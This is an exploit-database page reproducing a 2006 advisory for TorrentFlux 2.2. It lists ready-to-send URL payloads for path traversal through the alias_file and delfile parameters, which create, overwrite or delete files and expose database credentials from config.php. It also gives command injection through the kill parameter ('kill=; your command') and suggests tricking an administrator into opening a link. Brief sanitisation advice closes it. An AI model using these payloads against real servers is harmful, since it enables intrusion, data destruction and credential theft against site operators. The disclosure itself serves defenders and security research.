TorrentFlux 2.2 Arbitrary File Creation/Overwrite/Deletion & Command Execution Vulnerablities

vendor:

TorrentFlux 2.2

by:

r0ut3r

CVSS

CRITICAL

Arbitrary File Creation/Overwrite/Deletion & Command Execution

N/A

CWE

Product Name: TorrentFlux 2.2

Affected Version From: 2.2

Affected Version To: 2.2

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

TorrentFlux 2.2 Arbitrary File Creation/Overwrite/Deletion & Command Execution Vulnerablities

TorrentFlux 2.2 is vulnerable to arbitrary file creation/overwrite/deletion and command execution. An attacker can exploit this vulnerability to gain access to the system and execute arbitrary commands.

Mitigation:

N/A

Source

Exploit-DB raw data:

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#                                    r0ut3r Presents...                                         #
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#                                Another r0ut3r discovery!                                      #
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# TorrentFlux 2.2 Arbitrary File Creation/Overwrite/Deletion & Command Execution Vulnerablities #
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# Software: TorrentFlux 2.2                                                                     #
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# Vendor: http://www.torrentflux.com/                                                           #
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# Released: 2006/11/15                                                                          #
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# Discovered By: r0ut3r (writ3r [at] gmail.com)                                                 #
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# Criticality: Highly critical                                                                  #
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# Note: The information provided in this document is for TorrentFlux administrator              #
# testing purposes only!                                                                        #
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# "TorrentFlux 2.2Beta does not seem to be vulnerable"                                          #
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   TorrentFlux 2.2 Arbitrary File Creation/Overwrite/Deletion & Command Execution Vulnerablity
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alias_file = name of file you want to create.
delfile = name of file you want to remove

-= To overwrite a file (make sure q.php is there, provided thats the file you want to overwrite): =-
/torrentflux/index.php?alias_file=../../q.php&kill=3361&kill_torrent= q.torrent

-= To create a file: =-
/torrentflux/index.php?alias_file=q.php&kill=3361&kill_torrent=q.torrent

All files are filled with:
0
0
Torrent Stopped

-= Exploit on config.php =-
/torrentflux/index.php?alias_file=../../config.php&kill=3361&kill_torrent=q.torrent
It will redirect you to index.php and it will display the DATABASE USERNAME/PASSWORD IN PLAINTEXT, plus the rest of the config information!

index.php displays:
0 -100 Torrent Stopped * TorrentFlux PHP Torrent Manager * www.torrentflux.com

**************************************************************/ /* This file is part of TorrentFlux. TorrentFlux is free software; you can

redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either

...etc...

**************************************************************************/ // YOUR DATABASE CONNECTION INFORMATION

/**************************************************************************/ // Check the adodb/drivers/ directory for support for your

database // you may choose from many (mysql is the default) $cfg["db_type"] = "mysql"; // mysql, postgres7 view adodb/drivers/

$cfg["db_host"] = "localhost"; // DB host computer name or IP $cfg["db_name"] = "tf"; // Name of the Database $cfg["db_user"] = "root"; //

username for your MySQL database $cfg["db_pass"] = "owned"; // password for database

-= Files can also be deleted like so: =-
/torrentflux/index.php?alias_file=owned.php&kill=3361&delfile=owned.php

-= Command Execution Exploit =-
/torrentflux/index.php?alias_file=owned.php&kill= ; echo "r0ut3r's TorrentFlux 0day" > /tmp/q.php&kill_torrent=q.torrent&return=true

Replace kill parameter like so:
kill=; your command
kill=; echo "r0ut3r just owned your system! hacked!" > /tmp/read_this.php

The only draw back is that you have to be a registered member before you can access the functions of index.php.
Alternatively you could direct the administrator to a link which overwrites the config.php file, then catch the output on index.php somehow (be quick).

Solution:
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Sanitize all variables listed above and below.
alias_file
delfile
kill
kill_torrent

Solution 2:
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Set up .htaccess and only allow certain people to login until an offical patch is released.

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              This has been another r0ut3r discovery (writ3r [ at ] gmail.com)
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# milw0rm.com [2006-11-15]